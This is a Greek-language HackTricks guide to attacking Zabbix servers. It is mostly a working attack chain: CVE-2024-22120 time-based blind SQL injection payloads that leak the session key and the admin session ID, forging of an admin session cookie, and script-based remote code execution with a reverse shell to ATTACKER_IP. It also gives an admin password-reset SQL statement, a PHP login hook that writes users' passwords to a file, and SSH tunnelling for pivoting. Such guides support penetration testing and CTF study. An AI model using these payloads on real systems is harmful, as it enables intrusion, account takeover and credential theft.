Ασφάλεια Zabbix
Reading time: 7 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Επισκόπηση
Το Zabbix είναι μια πλατφόρμα παρακολούθησης που εκθέτει ένα web UI (τυπικά πίσω από Apache/Nginx) και ένα server component που επίσης μιλάει το Zabbix protocol στο TCP/10051 (server/trapper) και agent στο TCP/10050. Κατά τη διάρκεια engagements μπορεί να συναντήσετε:
- Web UI: HTTP(S) virtual host όπως zabbix.example.tld
- Zabbix server port: 10051/tcp (JSON over a ZBXD header framing)
- Zabbix agent port: 10050/tcp
Χρήσιμη μορφή cookie: zbx_session είναι Base64 ενός συμπαγούς JSON αντικειμένου που περιλαμβάνει τουλάχιστον sessionid, serverCheckResult, serverCheckTime και sign. Το sign είναι ένα HMAC του JSON payload.
zbx_session cookie εσωτερικά
Οι πρόσφατες εκδόσεις του Zabbix υπολογίζουν το cookie ως εξής:
- JSON δεδομένων: {"sessionid":"<32-hex>","serverCheckResult":true,"serverCheckTime":<unix_ts>}
- sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators)
- Τελικό cookie: Base64(JSON_with_sign)
Αν καταφέρετε να ανακτήσετε το global session_key και ένα έγκυρο admin sessionid, μπορείτε να δημιουργήσετε (forge) ένα έγκυρο Admin cookie εκτός σύνδεσης και να αυθεντικοποιηθείτε στο UI.
CVE-2024-22120 — Time-based blind SQLi στο audit log του Zabbix Server
Επηρεαζόμενες εκδόσεις (όπως τεκμηριώθηκε δημόσια):
- 6.0.0–6.0.27, 6.4.0–6.4.12, 7.0.0alpha1
Περίληψη ευπάθειας:
- Όταν μια εκτέλεση Script καταγράφεται στο audit log του Zabbix Server, το πεδίο clientip δεν καθαρίζεται και συγχωνεύεται μέσα σε SQL, επιτρέποντας time-based blind SQLi μέσω του server component.
- Αυτό μπορεί να εκμεταλλευτεί στέλνοντας ένα crafted "command" request στον Zabbix server στη θύρα 10051 με ένα έγκυρο low-privileged sessionid, ένα hostid που ο χρήστης έχει πρόσβαση, και ένα επιτρεπόμενο scriptid.
Προαπαιτούμενα και συμβουλές ανίχνευσης:
- sessionid: Από το guest/login στο web UI, αποκωδικοποιήστε το zbx_session (Base64) για να πάρετε το sessionid.
- hostid: Παρατηρήστε μέσω αιτημάτων του web UI (π.χ., Monitoring → Hosts) ή παρεμποδίστε με proxy· το σύνηθες προεπιλεγμένο είναι 10084.
- scriptid: Μόνο scripts που επιτρέπονται για τον τρέχοντα ρόλο θα εκτελεστούν· επαληθεύστε κοιτάζοντας το μενού Script/τις AJAX απαντήσεις. Προεπιλογές όπως 1 ή 2 συχνά επιτρέπονται· το 3 μπορεί να απορριφθεί.
Ροή εκμετάλλευσης
- Προκαλέστε εισαγωγή audit με SQLi στο clientip
- Συνδεθείτε στο TCP/10051 και στείλτε ένα Zabbix framed message με request="command" που περιλαμβάνει sid, hostid, scriptid, και clientip ορισμένο σε μια SQL έκφραση που θα συγχωνευτεί από τον server και θα εκτελεστεί.
Ελάχιστα πεδία μηνύματος (JSON body):
{
"request": "command",
"sid": "<low-priv-sessionid>",
"scriptid": "1",
"clientip": "' + (SQL_PAYLOAD) + '",
"hostid": "10084"
}
Το πλήρες wire format είναι: "ZBXD\x01" + 8-byte little-endian length + UTF-8 JSON. Μπορείτε να χρησιμοποιήσετε pwntools ή τον δικό σας socket κώδικα για να το πλαισιώσετε.
- Time-bruteforce secrets via conditional sleep
Χρησιμοποιήστε conditional expressions για να leak hex-encoded secrets έναν χαρακτήρα τη φορά μετρώντας τον χρόνο απόκρισης. Παραδείγματα που έχουν λειτουργήσει στην πράξη:
- Leak global session_key from config:
(select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
- Leak Admin session_id (userid=1) από sessions:
(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
Σημειώσεις:
- charset: 32 hex chars [0-9a-f]
- Επιλέξτε T_TRUE >> T_FALSE (π.χ. 10 vs 1) και μετρήστε τον πραγματικό χρόνο (wall-clock) ανά προσπάθεια
- Βεβαιωθείτε ότι το scriptid σας είναι πραγματικά εξουσιοδοτημένο για τον χρήστη· διαφορετικά δεν δημιουργείται γραμμή audit και ο χρονισμός δεν θα λειτουργήσει
- Παραποίηση cookie διαχειριστή
Αφού έχετε:
- session_key: 32-hex από config.session_key
- admin_sessionid: 32-hex από sessions.sessionid για userid=1
Υπολογίστε:
- sign = HMAC_SHA256(key=session_key, data=json.dumps({sessionid, serverCheckResult:true, serverCheckTime:now}, sort by key, compact))
- zbx_session = Base64(JSON_with_sign)
Ορίστε το cookie zbx_session σε αυτήν την τιμή και κάντε GET /zabbix.php?action=dashboard.view για να επικυρώσετε την πρόσβαση διαχειριστή.
Έτοιμα εργαλεία
- Public PoC αυτοματοποιεί bruteforce του session_key και admin sessionid, καθώς και το forging του cookie; απαιτεί pwntools και requests.
- Τυπικές παράμετροι που παρέχονται περιλαμβάνουν: --ip (FQDN της UI), --port 10051, --sid (low-priv), --hostid, και προαιρετικά ένα γνωστό --admin-sid για να παραλειφθεί το bruteforce.
RCE via Script execution (post-Admin)
Με πρόσβαση διαχειριστή στο UI, μπορείτε να εκτελέσετε προ-ορισμένα Scripts σε monitored hosts. Εάν agents/hosts εκτελούν τις εντολές script τοπικά, αυτό οδηγεί σε εκτέλεση κώδικα σε αυτά τα συστήματα (συχνά ως ο χρήστης zabbix σε Linux hosts):
- Γρήγορος έλεγχος: τρέξτε id για να επιβεβαιώσετε το πλαίσιο χρήστη
- Παράδειγμα reverse shell:
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'
Αναβάθμιση TTY (Linux):
script /dev/null -c bash
# background with Ctrl+Z, then on attacker terminal:
stty raw -echo; fg
reset
Αν έχετε πρόσβαση στη DB, μια εναλλακτική στο να πλαστογραφήσετε ένα cookie είναι να επαναφέρετε τον κωδικό του Admin στο τεκμηριωμένο bcrypt για το "zabbix":
UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin';
Καταγραφή διαπιστευτηρίων μέσω login hook (post-exploitation)
Εάν είναι δυνατή η εγγραφή αρχείων στον server του web UI, μπορείτε προσωρινά να προσθέσετε ένα snippet καταγραφής στο /usr/share/zabbix/index.php γύρω από το branch της form-based σύνδεσης για να καταγράψετε τα διαπιστευτήρια:
// login via form
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
$user = $_POST['name'] ?? '??';
$password = $_POST['password'] ?? '??';
$f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f);
CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
}
Οι χρήστες αυθεντικοποιούνται κανονικά· διαβάστε /dev/shm/creds.txt στη συνέχεια. Αφαιρέστε το hook όταν τελειώσετε.
Pivoting to internal services
Ακόμα κι αν το shell του service account είναι /usr/sbin/nologin, η προσθήκη μιας εγγραφής SSH authorized_keys και η χρήση των -N -L επιτρέπει local port-forwarding σε υπηρεσίες προσβάσιμες μόνο από το loopback (π.χ., CI/CD στη θύρα 8111):
ssh -i key user@host -N -L 8111:127.0.0.1:8111
Δείτε περισσότερα μοτίβα tunneling στο: Tunneling and Port Forwarding.
Λειτουργικές συμβουλές
- Επαληθεύστε ότι το scriptid επιτρέπεται για τον τρέχοντα ρόλο (ο guest ενδέχεται να έχει περιορισμένο σύνολο)
- Η τεχνική timing brute μπορεί να είναι αργή· αποθηκεύστε στην cache το ανακτημένο admin sessionid και επαναχρησιμοποιήστε το
- Το JSON που αποστέλλεται στο 10051 πρέπει να είναι πλαισιωμένο με το header ZBXD\x01 και ένα little-endian μήκος
Αναφορές
- HTB Watcher — Zabbix CVE-2024-22120 to Admin/RCE and TeamCity root pivot
- CVE-2024-22120-RCE toolkit (PoC scripts)
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.